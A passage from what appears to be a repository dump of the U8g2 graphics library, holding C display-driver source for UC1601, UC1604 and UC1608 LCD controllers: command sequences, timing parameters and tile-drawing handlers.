INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  This is for the uc1601s controller\n  \n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_uc1601_128x32_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1601_128x32_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1601_128x32_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c4),\t\t\t\t/* bit 1: MX, bit 2: MY */\n  U8X8_C(0x060),\t\t                /* set display start line to 32 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1601_128x32_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c2),\t\t\t\t/* bit 1: MX, bit 2: MY */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_uc1601_128x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 1,\t/* uc1601 datasheet, page 46 */\n  /* pre_chip_disable_wait_ns = */ 5,\t/* uc1601 datasheet, page 46 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 12,\t\t/* uc1601 datasheet, page 44 */\n  /* sck_pulse_width_ns = */ 15,\t/* uc1601 datasheet, page 44 */\n  /* sck_clock_hz = */ 2000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 1,\n  /* data_setup_time_ns = */ 60,\t/* uc1601 datasheet, page 43 */\n  /* write_pulse_width_ns = */ 80,\t/* uc1601 datasheet, page 43 */\n  /* tile_width = */ 16,\t\t\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 4,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 32\n};\n\nstatic const uint8_t u8x8_d_uc1601_128x32_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0eb),            \t\t\t/* LCD Bias: 0xe8: 6, 0xe9: 7, 0xea: 8, 0xeb: 9 */\n  //U8X8_C(0x023),            \t\t\t/* 0x020...0x023 only for UC1601, not for UC1601s */\n\t\n\n  //U8X8_C(0x02e),            \t\t\t/* LCD Load + Internal Charge Pump (default: 0x2e) */\n  U8X8_C(0x024),\t\t                /* Temperature Compenstation, default: 0x24 */\n  U8X8_C(0x089),\t\t                /* RAM address ctrl, default: 0x89 */\n  U8X8_C(0x0c4),\t\t                /* RAM mapping ctrl */\n  U8X8_C(0x0a0),\t\t                /* Frame Rate, 0x0a0 or 0x0a1 */\n  U8X8_CA(0x081, 0x0df),\t\t/* set contrast */\n  U8X8_C(0x02e),            \t\t\t/* LCD Load + Internal Charge Pump (default: 0x2e) */\t\n  U8X8_C(0x060),\t\t                /* set display start line to 32 */\n  \n  U8X8_C(0x0a6),\t\t                /* normal display */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_uc1601_128x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1601_128x32_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* uc1601 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/* issue https://github.com/olikraus/u8g2/issues/1501 */\n\nstatic const uint8_t u8x8_d_uc1601_128x64_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0eb),            \t\t\t/* LCD Bias: 0xe8: 6, 0xe9: 7, 0xea: 8, 0xeb: 9 */\n  //U8X8_C(0x023),            \t\t\t/* 0x020...0x023 only for UC1601, not for UC1601s */\n\t\n\n  //U8X8_C(0x02e),            \t\t\t/* LCD Load + Internal Charge Pump (default: 0x2e) */\n  U8X8_C(0x024),\t\t                /* Temperature Compenstation, default: 0x24 */\n  U8X8_C(0x089),\t\t                /* RAM address ctrl, default: 0x89 */\n  U8X8_C(0x0c4),\t\t                /* RAM mapping ctrl */\n  U8X8_C(0x0a0),\t\t                /* Frame Rate, 0x0a0 or 0x0a1 */\n  U8X8_CA(0x081, 0x0df),\t\t/* set contrast */\n  U8X8_C(0x02e),            \t\t\t/* LCD Load + Internal Charge Pump (default: 0x2e) */\t\n  U8X8_C(0x040),\t\t                /* set display start: See Issue 1501 */\n  \n  U8X8_C(0x0a6),\t\t                /* normal display */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_uc1601_128x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 1,\t/* uc1601 datasheet, page 46 */\n  /* pre_chip_disable_wait_ns = */ 5,\t/* uc1601 datasheet, page 46 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 12,\t\t/* uc1601 datasheet, page 44 */\n  /* sck_pulse_width_ns = */ 15,\t/* uc1601 datasheet, page 44 */\n  /* sck_clock_hz = */ 2000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 1,\n  /* data_setup_time_ns = */ 60,\t/* uc1601 datasheet, page 43 */\n  /* write_pulse_width_ns = */ 80,\t/* uc1601 datasheet, page 43 */\n  /* tile_width = */ 16,\t\t\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 2,\n  /* flipmode_x_offset = */ 4,  /* IS THIS CORRECT? */\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_uc1601_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1601_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x64_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1601_128x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* uc1601 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_uc1604.c",
    "content": "/*\n\n  u8x8_d_uc1604.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\n\nstatic const uint8_t u8x8_d_uc1604_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(20),\t\t\t\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_DLY(20),\t\t\t\t/* during setup, it seems that the startup is more reliable when sending this cmd twice */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_DLY(50),\t\t\t\t/* startup takes some time */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1604_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off, enter sleep mode */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1604_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c4),            \t\t\t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1604_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c2),            \t\t\t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_uc1604_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n   \n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n    \n      y = ((u8x8_tile_t *)arg_ptr)->y_pos;\n      y += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (y&15));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    /*\thandled in the calling procedure \n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1604_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1604_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1604_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1604_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1604_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int  );\t/* uc1604 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*================================================*/\n/* JLX19264 */\n\n/* \n  timings from uc1608 \n\n  UC1604 has two chip select inputs (CS0 and CS1).\n  CS0 is low active, CS1 is high active. It will depend on the display\n  module whether the display has a is low or high active chip select.\n\n*/\nstatic const u8x8_display_info_t u8x8_uc1604_192x64_display_info =\n{\n  /* chip_enable_level = */ 0,\t/* JLX19264G uses CS0, which is low active CS*/\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\t\n  /* pre_chip_disable_wait_ns = */ 20,\t\n  /* reset_pulse_width_ms = */ 1, \t\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t\n  /* write_pulse_width_ns = */ 35,\t\n  /* tile_width = */ 24,\t\t/* width of 24*8=192 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\t/* reused as y page offset */\n  /* flipmode_x_offset = */ 0,\t/* reused as y page offset */\n  /* pixel_width = */ 192,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_d_uc1604_jlx19264_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_DLY(200),\n  U8X8_DLY(200),\n\n  U8X8_C(0x02f),            \t\t\t/* power on, Bit 2 PC2=1 (internal charge pump), Bits 0/1: cap of panel */\n  U8X8_DLY(200),\n  U8X8_DLY(200),\n  \n  U8X8_CA(0x081, 0x052),\t\t/* set contrast, JLX19264G suggestion: 0x045 */\n  U8X8_C(0x0eb),            \t\t\t/* LCD bias Bits 0/1: 00=6 01=7, 10=8, 11=9 */\n\n  \n  //U8X8_C(0x023),            \t\t\t/* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */\n  //U8X8_C(0x027),            \t\t\t/* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */\n\n  U8X8_C(0x0c4),            \t\t\t/* Map control, Bit 2: MY=1, Bit 1: MX=0 */\n  U8X8_C(0x0a0),            \t\t\t/* 0xa0: 76Hz FPS, controller default: 0x0a1: 95Hz FPS */\n  \n  \n  U8X8_C(0x040),            \t\t\t/* set scroll line to 0 */\n  U8X8_C(0x089),            \t\t\t/* RAM access control (controller default: 0x089)*/\n  \n  \n  U8X8_C(0x000),\t\t                /* column low nibble */\n  U8X8_C(0x010),\t\t                /* column high nibble */  \n  U8X8_C(0x0b0),\t\t                /* page adr  */\n  \n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_uc1604_jlx19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_uc1604_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1604_192x64_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1604_jlx19264_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_uc1608.c",
    "content": "/*\n\n  u8x8_d_uc1608.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\n\nstatic const uint8_t u8x8_d_uc1608_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1608_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off, enter sleep mode */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1608_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c8),            \t\t\t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_uc1608_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0c4),            \t\t\t/* LCD Mapping */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_uc1608_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n   \n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n    \n      y = ((u8x8_tile_t *)arg_ptr)->y_pos;\n      y += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (y&15));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    /*\thandled in the calling procedure \n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_uc1608_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int  );\t/* uc1608 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*================================================*/\n/* ERC24064-1 */\n\n/*\n  The UC1608 has only one high active chip select input.\n  UC1604, UC1610 and UC1611 have two chip select inputs.\n*/\n\nstatic const u8x8_display_info_t u8x8_uc1608_240x64_display_info =\n{\n  /* chip_enable_level = */ 1,\t/* uc1608 has high active CS */\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1608 datasheet, page 39, actually 0 */\n  /* pre_chip_disable_wait_ns = */ 20,\t/* uc1608 datasheet, page 39 */\n  /* reset_pulse_width_ms = */ 1, \t/* uc1608 datasheet, page 42 */\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t/* uc1608 datasheet, page 41 */\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1608 datasheet, page 39 */\n  /* write_pulse_width_ns = */ 35,\t/* uc1608 datasheet, page 39 */\n  /* tile_width = */ 30,\t\t/* width of 30*8=240 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\t/* reused as y page offset */\n  /* flipmode_x_offset = */ 4,\t/* reused as y page offset */\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_d_uc1608_erc24064_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_DLY(200),\n\n  U8X8_C(0x023),            \t\t\t/* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */\n  //U8X8_C(0x027),            \t\t\t/* Bit 0/1: Temp compenstation, Bit 2: Multiplex Rate 0=96, 1=128 */\n\n  U8X8_C(0x0c8),            \t\t\t/* Map control, Bit 3: MY=1, Bit 2: MX=0, Bit 0: MSF =0 